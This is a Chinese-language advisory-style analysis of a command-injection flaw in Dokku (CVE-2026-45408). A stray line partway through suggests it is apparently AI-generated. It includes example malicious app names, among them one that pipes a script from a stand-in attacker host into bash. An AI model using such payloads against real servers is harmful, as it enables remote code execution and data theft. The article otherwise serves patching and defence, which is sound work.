🔴 【深度分析】严重安全漏洞:CVE-2026-45408

CVSS 评分: 严重(9.0)🔴  状态: Analyzed  发布时间: 2026-06-26


🔍 技术细节速览

字段 值
CVE ID CVE-2026-45408
CVSS 评分 9.0 🔴
严重程度 严重
CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CWE 分类 CWE-78
发布时间 2026-06-26
最后更新 2026-06-26
状态 Analyzed
数据来源 security-advisories@github.com

好的,作为一名资深网络安全分析师,我将基于您提供的 NVD 数据,为您生成一篇专业的漏洞深度分析文章。


漏洞深度分析:CVE-2026-45408

CVSS 评分:9.0(严重)
危害等级:严重
攻击向量:网络 (AV:N)
攻击复杂度:低 (AC:L)


漏洞概述

CVE-2026-45408 是一个存在于 Dokku(一个基于 Docker 的平台即服务 PaaS 工具)中的高危命令注入漏洞。该漏洞源于对用户提供的应用名称验证不严,导致在生成 Git 钩子脚本时,恶意应用名称中的 shell 元字符被直接嵌入到未加引号的 heredoc 中。经过身份验证的攻击者可以通过推送一个包含精心构造名称的 Git 仓库到 Dokku 服务器,从而在目标服务器上以 dokku 用户身份执行任意系统命令。此漏洞影响 Dokku 0.38.2 之前的所有版本。

受影响组件与版本

  • 受影响软件: Dokku
  • 影响版本: 0.38.2 之前的所有版本
  • 修复版本: 0.38.2

漏洞原理分析

该漏洞的核心在于两个关键环节的疏忽:输入验证不充分 和 不安全的数据拼接。

  1. 输入验证绕过:
    Dokku 在创建应用时,会使用一个正则表达式 ^[a-z0-9][^/:_A-Z]*$ 来验证应用名称。这个正则表达式的意图是允许以小写字母或数字开头,后续可以包含除 /、:、_ 和大写字母之外的任何字符。然而,这个正则表达式并未过滤掉 shell 元字符,例如 ;、|、&、$、` 等。因此,一个包含 ; 的应用名(例如 myapp;id)可以顺利通过验证。

  2. 不安全的数据拼接:
    当用户通过 Git 推送代码时,Dokku 会动态生成一个 pre-receive 钩子脚本。该脚本位于 plugins/git/internal-functions 文件的 fn-git-create-hook() 函数中(第 378 行)。问题在于,该脚本使用了一个未加引号的 heredoc (<<EOF 而不是 <<'EOF')。

    • <<EOF:Bash 会解析 heredoc 内容中的变量和命令替换。这意味着,如果 heredoc 内容中包含 $variable 或 `command`,它们会被 Bash 解释执行。
    • <<'EOF':Bash 会将 heredoc 内容视为纯文本,不会进行任何解析。

    由于使用了 <<EOF,当恶意应用名 myapp;id 被嵌入到生成的脚本中时,它不再是单纯的字符串,而是成为了 Bash 脚本的一部分。例如,生成的脚本片段可能类似于:

    # ... 其他脚本内容 ...
    APP_NAME=myapp;id
    # ... 后续操作 ...
    

    当 git push 触发这个 pre-receive 钩子时,Bash 会执行该脚本。在解析到 APP_NAME=myapp;id 这一行时,Bash 会将其解释为:

    • 将变量 APP_NAME 赋值为 myapp。
    • 遇到命令分隔符 ;。
    • 执行命令 id。

    因此,攻击者可以通过精心构造应用名(例如 myapp;curl http://attacker.com/shell.sh | bash),在 Dokku 服务器上执行任意命令。

攻击向量总结:

  1. 攻击者拥有一个 Dokku 平台的有效账户(需要 PR:L,低权限)。
  2. 攻击者创建一个名称包含 shell 元字符(如 ;)的新应用。
  3. 攻击者向该应用的 Git 远程仓库执行 git push 操作。
  4. Dokku 服务器在生成 pre-receive 钩子脚本时,将恶意应用名未加引号地嵌入其中。
  5. 当 Git 钩子被触发时,Bash 解释执行了脚本中的恶意命令,导致命令注入。

影响评估

  • 攻击复杂度: 低 (AC:L)。攻击者无需复杂的网络环境或特殊条件,只需能够向 Dokku 服务器发起 Git 推送请求。
  • 所需权限: 低 (PR:L)。攻击者需要在 Dokku 平台上拥有一个有效的用户账户,这通常可以通过注册或利用现有凭据获得。
  • 用户交互: 需要 (UI:R)。攻击者需要诱使或等待 Dokku 系统触发 Git 推送操作。但在此场景中,攻击者本身就是执行推送的用户,因此用户交互要求可以视为“攻击者自身操作”,实际利用难度很低。
  • 影响范围: 已变更 (S:C)。漏洞利用不仅影响托管的应用(机密性、完整性、可用性),还可能影响 Dokku 平台自身及其上的其他应用。成功利用后,攻击者可以完全控制 dokku 用户权限,进而可能通过容器逃逸或利用 Docker 套接字权限提升至宿主机 root 权限。
  • 潜在后果:
    • 完全控制服务器: 攻击者可以以 dokku 用户身份执行任意命令,包括读取、修改、删除任何 dokku 用户有权限访问的文件。
    • 数据泄露: 窃取托管应用的数据库凭据、API 密钥、源代码等敏感信息。
    • 横向移动: 利用 Dokku 平台作为跳板,攻击内部网络中的其他系统。
    • 拒绝服务: 删除关键文件或停止服务,导致平台不可用。

修复建议

  1. 立即升级: 最直接有效的修复措施是将 Dokku 升级到 0.38.2 或更高版本。该版本已修复了应用名验证正则表达式,并可能对脚本生成过程进行了安全加固。
  2. 临时缓解措施(如无法立即升级):
    • 加强输入验证: 在 Dokku 前端(如 Nginx 反向代理)或使用 Web 应用防火墙(WAF)添加规则,阻止包含 ;、|、&、$、` 等 shell 元字符的应用名创建请求。
    • 限制用户权限: 审查并限制 Dokku 平台上的用户权限,仅授予可信用户创建应用的权限。但这并不能完全消除风险,因为低权限用户一旦被攻破,仍可利用此漏洞。
    • 监控异常行为: 密切监控服务器上的进程创建日志(如 auditd)和 Git 操作日志,寻找异常的 git push 操作或可疑的命令执行行为。

参考资料